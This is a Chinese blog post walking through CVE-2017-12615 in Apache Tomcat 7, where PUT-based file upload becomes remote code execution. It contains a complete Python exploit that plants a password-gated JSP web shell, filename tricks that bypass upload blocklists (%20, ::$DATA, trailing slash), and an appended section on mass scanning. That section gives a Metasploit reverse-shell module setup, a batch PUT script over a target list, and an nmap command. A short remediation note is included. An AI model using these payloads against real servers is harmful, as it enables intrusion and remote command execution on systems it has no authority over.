TOMCAT(CVE-2017-12615)远程代码执行

本文详细介绍了在Win2003环境下,利用Tomcat 7.0.75的PUT请求方法创建特定格式的文件,从而绕过黑名单验证并实现远程代码执行的过程。通过修改web.xml配置文件,攻击者可以利用此漏洞执行任意代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 

复现环境

win2003

tomcat/7.0.75

复现过程

安装jdk和tomcat

 

然后在tomcat的配置文件web.xml中添加下面这段代码,并重启

<init-param>             
        <param-name>readonly</param-name>     
        <param-value>false</param-value> 
</init-param>

 

使用PUT请求,能成功创建test.jpg文件

然后尝试创建test1.jsp,出现404错误

在test1.jsp后面增加%20,再次发送请求,成功创建test1.jsp

另一种方式,把%20更换为::$DATA。也能创建成功

下面是关于::$DATA的讲解

在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:
上传的文件名  服务器表面现象    生成的文件内容
Test.php:a.jpg     生成Test.php  空
Test.php::$DATA  生成test.php  <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION  生成test.php文件夹  
Test.php::$DATA\0.jpg  生成0.jpg  <?php phpinfo();?>
Test.php::$DATA\aaa.jpg  生成aaa.jpg  <?php phpinfo();?>

  PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。
  根据第二个现象,我们可以bypass一些黑名单验证。
  后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。(由于windows把\ /当成了目录,而上传只认识文件名所导致的)

 

还有一种是在末尾增加/,也能创建成功

通过EXP进行攻击

#! -*- coding:utf-8 -*- 

import httplib

import sys

import time

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''

try:

    conn = httplib.HTTPConnection(sys.argv[1])

    conn.request(method='OPTIONS', url='/ffffzz')

    headers = dict(conn.getresponse().getheaders())

    if 'allow' in headers and \
       headers['allow'].find('PUT') > 0 :

        conn.close()

        conn = httplib.HTTPConnection(sys.argv[1])

        url = "/" + str(int(time.time()))+'.jsp/'

        #url = "/" + str(int(time.time()))+'.jsp::$DATA'

        conn.request( method='PUT', url= url, body=body)

        res = conn.getresponse()

        if res.status  == 201 :

            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]

            print 'shell:', 'http://' + sys.argv[1] + url[:-1]

        elif res.status == 204 :

            print 'file exists'

        else:

            print 'error'

        conn.close()

    else:

        print 'Server not vulnerable'

except Exception,e:

    print 'Error:', e

 

 

后记

影响范围:tomcat7.0.0-7.0.79

解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。

 

### 关于 CVE-2017-12615 的批量检测方法 CVE-2017-12615 是 Apache Tomcat 中的一个漏洞,允许攻击者通过启用 PUT 请求来上传任意文件并可能执行远程代码。为了实现对该漏洞的批量检测,可以采用以下几种方式: #### 使用 Metasploit Framework 进行批量检测 Metasploit 提供了针对此漏洞的模块 `exploit/multi/http/tomcat_unauth_upload_exec`,能够用于测试目标系统是否存在该漏洞。以下是具体操作流程: ```bash use exploit/multi/http/tomcat_unauth_upload_exec set RHOSTS <target_ip_range> set PAYLOAD java/shell/reverse_tcp set LHOST <local_host> set LPORT <local_port> run ``` 上述命令会尝试对指定 IP 范围内的主机进行扫描,并报告哪些主机存在漏洞[^2]。 #### 自定义脚本实现批量检测 如果希望更灵活地控制检测过程,则可编写自定义 Python 或 Bash 脚本来完成任务。下面是一个简单的 Python 实现示例: ```python import requests def check_vulnerability(ip, port=8080): url = f"http://{ip}:{port}/" headers = {"Content-Type": "text/plain"} try: response = requests.put(url + "test.txt", data="PWNED", headers=headers, timeout=5) if response.status_code == 201 or response.status_code == 204: print(f"[+] {ip} is vulnerable!") else: print(f"[-] {ip} does not appear to be vulnerable.") except Exception as e: print(f"[!] Error checking {ip}: {e}") if __name__ == "__main__": with open("targets.txt") as file: targets = [line.strip() for line in file] for target in targets: ip, port = target.split(":") check_vulnerability(ip, int(port)) ``` 在此脚本中,程序读取名为 `targets.txt` 的文件,其中每行包含一个待测的目标地址及其端口号(例如:`192.168.1.1:8080`),随后逐一检查这些目标是否易受攻击。 #### 利用 Nmap 插件进行网络扫描 Nmap 社区贡献了许多插件支持各种常见漏洞的探测工作,其中包括 CVE-2017-12615 。运行如下指令即可启动基于 NSE (Nmap Scripting Engine) 的大规模扫描活动: ```bash nmap --script http-tomcat-put -p 8080 <network_range> ``` 这里 `-p 8080` 参数指定了要扫描的服务端口;而 `<network_range>` 应替换为您实际想要覆盖的子网范围或单个IP列表。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值